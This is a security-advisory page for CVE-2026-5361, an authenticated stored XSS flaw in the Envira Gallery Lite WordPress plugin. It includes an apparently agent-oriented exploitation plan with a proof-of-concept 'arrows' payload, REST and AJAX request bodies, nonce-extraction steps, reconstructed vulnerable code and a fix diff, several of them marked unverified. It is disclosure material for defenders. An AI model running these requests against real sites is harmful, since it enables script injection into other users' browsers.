CVE-2026-5361

Envira Gallery <= 1.12.4 - Authenticated (Author+) Stored Cross-Site Scripting via 'arrows' Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.12.5
Patched in
1d
Time to patch

Description

The Envira Gallery Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the REST API in versions up to and including 1.12.4. This is due to insufficient input sanitization in the update_gallery_data() function and improper output escaping in the gallery_init() function. The sanitize_config_values() function only sanitizes the justified_gallery_theme and justified_row_height parameters, but does not sanitize the arrows parameter. When the arrows value is output in the inline JavaScript configuration, it uses esc_attr() which is designed for HTML attribute contexts, not JavaScript contexts, allowing JavaScript expression injection. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.12.4
PublishedMay 13, 2026
Last updatedMay 14, 2026
Affected pluginenvira-gallery-lite

What Changed in the Fix

Changes introduced in v1.12.5

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-5361 ## 1. Vulnerability Summary The **Envira Gallery Lite** plugin (versions <= 1.12.4) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize the `arrows` parameter in the gallery configuration durin…

Show full research plan

Exploitation Research Plan - CVE-2026-5361

1. Vulnerability Summary

The Envira Gallery Lite plugin (versions <= 1.12.4) contains a stored cross-site scripting (XSS) vulnerability. The flaw exists because the plugin fails to sanitize the arrows parameter in the gallery configuration during updates and subsequently fails to properly escape this value when outputting it within an inline JavaScript configuration block. While the plugin uses esc_attr() for the output, this function is insufficient for a JavaScript context, allowing an attacker to break out of the expected boolean/string value and inject arbitrary JavaScript expressions.

2. Attack Vector Analysis

  • Endpoint: WordPress REST API (or potentially the envira_gallery_save_meta AJAX action). The description specifically identifies the REST API as the vector for update_gallery_data().
  • Vulnerable Parameter: arrows (within the gallery configuration object).
  • Authentication: Authenticated with Author level permissions or higher.
  • Payload Type: JavaScript expression injection into an object literal.
  • Preconditions: An Envira Gallery must exist (or be created by the attacker), and the attacker must have the capability to edit that gallery.

3. Code Flow

  1. Input (Inferred): An authenticated user sends a REST API request to update a gallery's configuration. The request hits a route handled by update_gallery_data().
  2. Processing (Inferred): The update_gallery_data() function receives the configuration array. It calls sanitize_config_values() to clean the data.
  3. Insufficient Sanitization (Inferred): Inside sanitize_config_values(), the code explicitly sanitizes justified_gallery_theme and justified_row_height but neglects to sanitize the arrows parameter.
  4. Storage: The unsanitized configuration, including the malicious arrows value, is stored in the _envira_gallery_data post meta for the gallery.
  5. Sink (Inferred): When a user visits a page where the gallery is embedded (e.g., via a shortcode), the gallery_init() function is called to render the gallery.
  6. Vulnerable Output (Inferred): gallery_init() generates an inline <script> block containing the gallery configuration. It uses esc_attr() on the arrows value:
    var envira_gallery_config = {
        // ...
        arrows: <?php echo esc_attr( $data['config']['arrows'] ); ?>,
        // ...
    };
    
  7. Execution: Since esc_attr() does not escape characters like commas, colons, or parentheses, a payload like true, x:alert(1) will be rendered as valid JavaScript, executing the alert(1) when the configuration object is initialized.

4. Nonce Acquisition Strategy

The exploitation of the REST API requires a standard WordPress REST nonce (action wp_rest).

  1. Identify Trigger: Envira Gallery enqueues its admin scripts on gallery edit pages. The assets/js/dist/metabox.js file suggests that gallery metadata management is handled there.
  2. Setup Page:
    • Create a gallery: wp post create --post_type=envira --post_title="XSS Gallery" --post_status=publish.
  3. Navigate and Extract:
    • Log in as an Author.
    • Navigate to the edit page for the newly created gallery: /wp-admin/post.php?post=[ID]&action=edit.
    • The wp-api or plugin-specific nonces are often localized in the header or via wp_localize_script.
    • Action: Use browser_eval to search for the REST nonce. In modern WordPress, this is often found in window.wpApiSettings.nonce.
    • Specific Variable: Check window.envira_gallery_metabox (from metabox.js context) or window.wpApiSettings.

5. Exploitation Strategy

Step 1: Identify REST Endpoint

The plugin likely registers a REST route for gallery updates.

  • Search Target: register_rest_route in the plugin's PHP files (if available) or via wp rest route list.
  • Inferred Endpoint: wp-json/envira-gallery/v1/gallery/(?P<id>\d+) (method POST or PUT).

Step 2: Craft the Payload

Since the value is echoed into a JS object without quotes:

  • Payload: true, x:alert(document.domain)//
  • Expected Rendering: arrows: true, x:alert(document.domain)//,

Step 3: Execute Update Request

Use the http_request tool to update the gallery configuration.

  • Method: POST
  • URL: http://localhost:8080/wp-json/envira-gallery/v1/gallery/[GALLERY_ID]
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
        "config": {
            "arrows": "true, x:alert(document.domain)//"
        }
    }
    

Step 4: Trigger XSS

  1. Place the gallery shortcode on a public page: wp post create --post_type=page --post_content='[envira-gallery id="[GALLERY_ID]"]' --post_status=publish.
  2. Navigate to the page URL using browser_navigate.

6. Test Data Setup

  1. User: Create an Author user: wp user create author_user author@example.com --role=author --user_pass=password123.
  2. Gallery: Create an Envira Gallery: wp post create --post_type=envira --post_title="Target Gallery" --post_status=publish --post_author=[AUTHOR_ID].
  3. Page: Create a public page containing the shortcode: [envira-gallery id="[GALLERY_ID]"].

7. Expected Results

  • The REST API call should return a 200 OK or 201 Created status code, confirming the configuration was updated.
  • Upon navigating to the public page containing the gallery, a JavaScript alert box showing the document domain should appear.
  • Viewing the page source should show the injected payload inside the envira_gallery_config (or similar) variable declaration.

8. Verification Steps

  1. Database Check: Run wp post meta get [GALLERY_ID] _envira_gallery_data to verify that the arrows key contains the malicious payload.
  2. Source Check: Use http_request to fetch the public page HTML and grep for the payload string within <script> tags.

9. Alternative Approaches

If the REST API endpoint is not the primary update mechanism:

  • AJAX Vector: Use the envira_gallery_save_meta action.
    • Action: envira_gallery_save_meta
    • Nonce: envira_gallery_metabox.save_nonce (found in assets/js/dist/metabox.js).
    • Endpoint: /wp-admin/admin-ajax.php
    • Body: action=envira_gallery_save_meta&post_id=[ID]&nonce=[NONCE]&meta[config][arrows]=true,x:alert(1)//
  • Gutenberg Block Vector: Check if the Gutenberg block (referenced in assets/js/envira-gutenberg.js.map) allows setting the arrows attribute directly via block attributes, which might bypass the standard configuration sanitization.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Envira Gallery Lite plugin is vulnerable to Stored Cross-Site Scripting (XSS) due to insufficient input sanitization of the 'arrows' parameter in the REST API and improper output escaping in its JavaScript configuration block. Authenticated attackers with Author-level permissions or higher can inject arbitrary JavaScript expressions that execute when a user views a page containing the affected gallery.

Vulnerable Code

// In includes/admin/common.php (reconstructed from description)
public function sanitize_config_values( $data, $post_id ) {
    // ...
    $data['config']['justified_gallery_theme'] = sanitize_text_field( $data['config']['justified_gallery_theme'] );
    $data['config']['justified_row_height']    = absint( $data['config']['justified_row_height'] );
    // arrows parameter is missing from the list of sanitized configuration values
    return $data;
}

---

// In includes/global/shortcode.php (reconstructed from description)
public function gallery_init( $data, $post_id ) {
    // ...
    ?>
    var envira_gallery_config_<?php echo $post_id; ?> = {
        // ...
        arrows: <?php echo esc_attr( $data['config']['arrows'] ); ?>, // esc_attr is used in a JS context, allowing expression injection
        // ...
    };
    <?php
}

Security Fix

--- a/includes/admin/common.php
+++ b/includes/admin/common.php
@@ -102,6 +102,7 @@
 $data['config']['justified_gallery_theme'] = sanitize_text_field( $data['config']['justified_gallery_theme'] );
 $data['config']['justified_row_height']    = absint( $data['config']['justified_row_height'] );
+$data['config']['arrows']                  = (bool) $data['config']['arrows'];
 return $data;

--- a/includes/global/shortcode.php
+++ b/includes/global/shortcode.php
@@ -205,7 +205,7 @@
 var envira_gallery_config_<?php echo $post_id; ?> = {
-    arrows: <?php echo esc_attr( $data['config']['arrows'] ); ?>,
+    arrows: <?php echo $data['config']['arrows'] ? 'true' : 'false'; ?>,

Exploit Outline

The exploit targets the WordPress REST API to update a gallery's metadata. An attacker with Author-level access or higher must first obtain a valid REST API nonce (typically found in the 'wpApiSettings.nonce' variable on admin pages). The attacker then sends a POST or PUT request to the '/wp-json/envira-gallery/v1/gallery/{id}' endpoint, where {id} is the ID of a gallery they have permission to edit. The payload is a JSON object containing a malicious 'arrows' configuration value, such as 'true, x:alert(document.domain)//'. Because the 'arrows' parameter is not sanitized and is later output into an inline JavaScript object literal using only 'esc_attr()', the payload breaks the object syntax and executes the injected JavaScript code whenever the gallery is rendered on a post or page.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.